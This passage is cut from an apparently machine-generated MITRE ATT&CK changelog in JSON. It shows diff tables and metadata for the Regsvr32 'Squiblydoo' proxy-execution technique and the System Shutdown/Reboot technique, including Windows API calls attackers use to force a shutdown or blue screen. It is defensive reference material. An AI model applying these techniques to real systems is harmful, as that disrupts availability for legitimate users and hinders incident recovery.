class=\"diff_header\">></td><td nowrap=\"nowrap\">ocator&nbsp;(URL)&nbsp;to&nbsp;file&nbsp;on&nbsp;an&nbsp;external&nbsp;Web&nbsp;server&nbsp;as&nbsp;an&nbsp;argumen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cator&nbsp;(URL)&nbsp;to&nbsp;file&nbsp;on&nbsp;an&nbsp;external&nbsp;Web&nbsp;server&nbsp;as&nbsp;an&nbsp;argument</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;during&nbsp;invocation.&nbsp;This&nbsp;method&nbsp;makes&nbsp;no&nbsp;changes&nbsp;to&nbsp;the&nbsp;Reg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;during&nbsp;invocation.&nbsp;This&nbsp;method&nbsp;makes&nbsp;no&nbsp;changes&nbsp;to&nbsp;the&nbsp;Regi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">istry&nbsp;as&nbsp;the&nbsp;COM&nbsp;object&nbsp;is&nbsp;not&nbsp;actually&nbsp;registered,&nbsp;only&nbsp;exe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stry&nbsp;as&nbsp;the&nbsp;COM&nbsp;object&nbsp;is&nbsp;not&nbsp;actually&nbsp;registered,&nbsp;only&nbsp;exec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cuted.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;LOLBAS&nbsp;Regsvr32)&nbsp;This&nbsp;variation&nbsp;of&nbsp;the&nbsp;tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uted.(Citation:&nbsp;LOLBAS&nbsp;Regsvr32)&nbsp;This&nbsp;variation&nbsp;of&nbsp;the&nbsp;techn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hnique&nbsp;is&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;a&nbsp;\"Squiblydoo\"&nbsp;and&nbsp;has&nbsp;been&nbsp;u</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ique&nbsp;is&nbsp;often&nbsp;referred&nbsp;to&nbsp;as&nbsp;a&nbsp;\"Squiblydoo\"&nbsp;and&nbsp;has&nbsp;been&nbsp;use</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sed&nbsp;in&nbsp;campaigns&nbsp;targeting&nbsp;governments.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Carbon&nbsp;Bl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;in&nbsp;campaigns&nbsp;targeting&nbsp;governments.(Citation:&nbsp;Carbon&nbsp;Black</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack&nbsp;Squiblydoo&nbsp;Apr&nbsp;2016)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;FireEye&nbsp;Regsvr32&nbsp;Targeti</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Squiblydoo&nbsp;Apr&nbsp;2016)(Citation:&nbsp;FireEye&nbsp;Regsvr32&nbsp;Targeting&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;Mongolian&nbsp;Gov)&nbsp;&nbsp;Regsvr32.exe&nbsp;can&nbsp;also&nbsp;be&nbsp;leveraged&nbsp;to&nbsp;reg</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ongolian&nbsp;Gov)&nbsp;&nbsp;Regsvr32.exe&nbsp;can&nbsp;also&nbsp;be&nbsp;leveraged&nbsp;to&nbsp;registe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ister&nbsp;a&nbsp;COM&nbsp;Object&nbsp;used&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;via&nbsp;[Compon</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;a&nbsp;COM&nbsp;Object&nbsp;used&nbsp;to&nbsp;establish&nbsp;persistence&nbsp;via&nbsp;[Component&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ent&nbsp;Object&nbsp;Model&nbsp;Hijacking](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Object&nbsp;Model&nbsp;Hijacking](https://attack.mitre.org/techniques/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1546/015).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Carbon&nbsp;Black&nbsp;Squiblydoo&nbsp;Apr&nbsp;2016)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">T1546/015).(Citation:&nbsp;Carbon&nbsp;Black&nbsp;Squiblydoo&nbsp;Apr&nbsp;2016)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1050: Exploit Protection"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0282: Detection Strategy for System Binary Proxy Execution: Regsvr32"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2019-10-04 20:42:28.541000+00:00",
                    "modified": "2026-11-03 21:35:33.881000+00:00",
                    "name": "System Shutdown/Reboot",
                    "description": "Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "impact"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1529",
                            "external_id": "T1529"
                        },
                        {
                            "source_name": "Talos Nyetya June 2017",
                            "description": "Chiu, A. (2016, June 27). New Ransomware Variant \"Nyetya\" Compromises Systems Worldwide. Retrieved March 26, 2019.",
                            "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
                        },
                        {
                            "source_name": "alert_TA18_106A",
                            "description": "CISA. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved February 14, 2022.",
                            "url": "https://www.cisa.gov/uscert/ncas/alerts/TA18-106A"
                        },
                        {
                            "source_name": "NotMe-BSOD",
                            "description": "lzcapp. (n.d.). Retrieved September 22, 2025.",
                            "url": "https://github.com/lzcapp/NotMe-BSOD"
                        },
                        {
                            "source_name": "Talos Olympic Destroyer 2018",
                            "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                            "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                        },
                        {
                            "source_name": "Microsoft Shutdown Oct 2017",
                            "description": "Microsoft. (2017, October 15). Shutdown. Retrieved October 4, 2019.",
                            "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
                        },
                        {
                            "source_name": "NtRaiseHardError",
                            "description": "NtDoc. (n.d.). NtRaiseHardError - NtDoc. Retrieved September 22, 2025.",
                            "url": "https://ntdoc.m417z.com/ntraiseharderror"
                        },
                        {
                            "source_name": "Unit42 Agrius 2023",
                            "description": "Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.",
                            "url": "https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"
                        },
                        {
                            "source_name": "SonicWall",
                            "description": "SecurityNews. (2024, July 12). Disarming DarkGate: A Deep Dive into Thwarting the Latest DarkGate Variant. Retrieved September 22, 2025.",
                            "url": "https://www.sonicwall.com/blog/disarming-darkgate-a-deep-dive-into-thwarting-the-latest-darkgate-variant"
                        },
                        {
                            "source_name": "CrowdStrike Blog",
                            "description": "William Thomas, Adrian Liviu Arsene, Farid Hendi. (2022, February 25). CrowdStrike Falcon\u00ae Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved September 22, 2025.",
                            "url": "https://www.crowdstrike.com/en-us/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Austin Clark, @c2defense",
                        "Hubert Mank",
                        "Janantha Marasinghe"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_impact_type": [
                        "Availability"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "ESXi",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Windows"
                    ],
                    "x_mitre_version": "1.5",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:35:33.881000+00:00\", \"old_value\": \"2026-05-12 15:12:00.726000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"old_value\": \"Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n\\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n\\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n In some cases, the system may not be able to boot again. \\n\\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\", \"diff\": \"--- \\n+++ \\n@@ -1,8 +1,8 @@\\n-Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n+Adversaries may shut down/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\\n \\n Shutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\\n \\n Adversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \\u201cblue screen of death\\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\\n  In some cases, the system may not be able to boot again. \\n \\n-Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\\n+Adversaries may attempt to shut down/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)\"}}}",
                    "previous_version": "1.5",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to76__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to76__0\"><a href=\"#difflib_chg_to76__top\">t</a></td><td class=\"diff_header\" id=\"from76_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;shutdown/reboot&nbsp;systems&nbsp;to&nbsp;interrupt&nbsp;access&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to76__top\">t</a></td><td class=\"diff_header\" id=\"to76_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;shut<span class=\"diff_add\">&nbsp;</span>down/reboot&nbsp;systems&nbsp;to&nbsp;interrupt&nbsp;access</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to,&nbsp;or&nbsp;aid&nbsp;in&nbsp;the&nbsp;destruction&nbsp;of,&nbsp;those&nbsp;systems.&nbsp;Operating&nbsp;s</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to,&nbsp;or&nbsp;aid&nbsp;in&nbsp;the&nbsp;destruction&nbsp;of,&nbsp;those&nbsp;systems.&nbsp;Operating&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ystems&nbsp;may&nbsp;contain&nbsp;commands&nbsp;to&nbsp;initiate&nbsp;a&nbsp;shutdown/reboot&nbsp;of</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">systems&nbsp;may&nbsp;contain&nbsp;commands&nbsp;to&nbsp;initiate&nbsp;a&nbsp;shutdown/reboot&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;a&nbsp;machine&nbsp;or&nbsp;network&nbsp;device.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;these&nbsp;commands&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;a&nbsp;machine&nbsp;or&nbsp;network&nbsp;device.&nbsp;In&nbsp;some&nbsp;cases,&nbsp;these&nbsp;commands</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;initiate&nbsp;a&nbsp;shutdown/reboot&nbsp;of&nbsp;a&nbsp;remote&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;initiate&nbsp;a&nbsp;shutdown/reboot&nbsp;of&nbsp;a&nbsp;remote&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">omputer&nbsp;or&nbsp;network&nbsp;device&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;CLI](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">computer&nbsp;or&nbsp;network&nbsp;device&nbsp;via&nbsp;[Network&nbsp;Device&nbsp;CLI](https://</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1059/008)&nbsp;(e.g.&nbsp;&lt;code&gt;reload&lt;/co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">attack.mitre.org/techniques/T1059/008)&nbsp;(e.g.&nbsp;&lt;code&gt;reload&lt;/c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;).(Citation:&nbsp;Microsoft&nbsp;Shutdown&nbsp;Oct&nbsp;2017)(Citation:&nbsp;alert</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;).(Citation:&nbsp;Microsoft&nbsp;Shutdown&nbsp;Oct&nbsp;2017)(Citation:&nbsp;aler</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">_TA18_106A)&nbsp;They&nbsp;may&nbsp;also&nbsp;include&nbsp;shutdown/reboot&nbsp;of&nbsp;a&nbsp;virtu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t_TA18_106A)&nbsp;They&nbsp;may&nbsp;also&nbsp;include&nbsp;shutdown/reboot&nbsp;of&nbsp;a&nbsp;virt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;machine&nbsp;via&nbsp;hypervisor&nbsp;/&nbsp;cloud&nbsp;consoles&nbsp;or&nbsp;command&nbsp;line&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ual&nbsp;machine&nbsp;via&nbsp;hypervisor&nbsp;/&nbsp;cloud&nbsp;consoles&nbsp;or&nbsp;command&nbsp;line&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ools.&nbsp;&nbsp;Shutting&nbsp;down&nbsp;or&nbsp;rebooting&nbsp;systems&nbsp;may&nbsp;disrupt&nbsp;access</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tools.&nbsp;&nbsp;Shutting&nbsp;down&nbsp;or&nbsp;rebooting&nbsp;systems&nbsp;may&nbsp;disrupt&nbsp;acces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;computer&nbsp;resources&nbsp;for&nbsp;legitimate&nbsp;users&nbsp;while&nbsp;also&nbsp;imped</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;to&nbsp;computer&nbsp;resources&nbsp;for&nbsp;legitimate&nbsp;users&nbsp;while&nbsp;also&nbsp;impe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ing&nbsp;incident&nbsp;response/recovery.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ding&nbsp;incident&nbsp;response/recovery.&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;use&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows&nbsp;API&nbsp;functions,&nbsp;such&nbsp;as&nbsp;`InitializeSystemShutdownExW`&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;API&nbsp;functions,&nbsp;such&nbsp;as&nbsp;`InitializeSystemShutdownExW`&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;`ExitWindowsEx`,&nbsp;to&nbsp;force&nbsp;a&nbsp;system&nbsp;to&nbsp;shut&nbsp;down&nbsp;or&nbsp;reboot.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;`ExitWindowsEx`,&nbsp;to&nbsp;force&nbsp;a&nbsp;system&nbsp;to&nbsp;shut&nbsp;down&nbsp;or&nbsp;reboot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;CrowdStrike&nbsp;Blog)(Citation:&nbsp;Unit42&nbsp;Agrius&nbsp;2023)&nbsp;A</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.(Citation:&nbsp;CrowdStrike&nbsp;Blog)(Citation:&nbsp;Unit42&nbsp;Agrius&nbsp;2023)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lternatively,&nbsp;the&nbsp;`NtRaiseHardError`or&nbsp;`ZwRaiseHardError`&nbsp;Wi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Alternatively,&nbsp;the&nbsp;`NtRaiseHardError`or&nbsp;`ZwRaiseHardError`&nbsp;W</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ndows&nbsp;API&nbsp;functions&nbsp;with&nbsp;the&nbsp;`ResponseOption`&nbsp;parameter&nbsp;set&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">indows&nbsp;API&nbsp;functions&nbsp;with&nbsp;the&nbsp;`ResponseOption`&nbsp;parameter&nbsp;set</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;`OptionShutdownSystem`&nbsp;may&nbsp;deliver&nbsp;a&nbsp;\u201cblue&nbsp;screen&nbsp;of&nbsp;deat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;`OptionShutdownSystem`&nbsp;may&nbsp;deliver&nbsp;a&nbsp;\u201cblue&nbsp;screen&nbsp;of&nbsp;dea</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h\u201d&nbsp;(BSOD)&nbsp;to&nbsp;a&nbsp;system.(Citation:&nbsp;SonicWall)(Citation:&nbsp;NtRais</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">th\u201d&nbsp;(BSOD)&nbsp;to&nbsp;a&nbsp;system.(Citation:&nbsp;SonicWall)(Citation:&nbsp;NtRai</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eHardError)(Citation:&nbsp;NotMe-BSOD)&nbsp;In&nbsp;order&nbsp;to&nbsp;leverage&nbsp;these</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">seHardError)(Citation:&nbsp;NotMe-BSOD)&nbsp;In&nbsp;order&nbsp;to&nbsp;leverage&nbsp;thes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;API&nbsp;functions,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;need&nbsp;to&nbsp;acquire&nbsp;`SeShutdown</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;API&nbsp;functions,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;need&nbsp;to&nbsp;acquire&nbsp;`SeShutdow</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Privilege`&nbsp;(e.g.,&nbsp;via&nbsp;[Access&nbsp;Token&nbsp;Manipulation](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nPrivilege`&nbsp;(e.g.,&nbsp;via&nbsp;[Access&nbsp;Token&nbsp;Manipulation](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1134)).(Citation:&nbsp;Unit42&nbsp;Agrius&nbsp;2</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1134)).(Citation:&nbsp;Unit42&nbsp;Agrius&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">023)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;system&nbsp;may&nbsp;not&nbsp;be&nbsp;able&nbsp;to&nbsp;boot&nbsp;agai</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2023)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;the&nbsp;system&nbsp;may&nbsp;not&nbsp;be&nbsp;able&nbsp;to&nbsp;boot&nbsp;aga</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 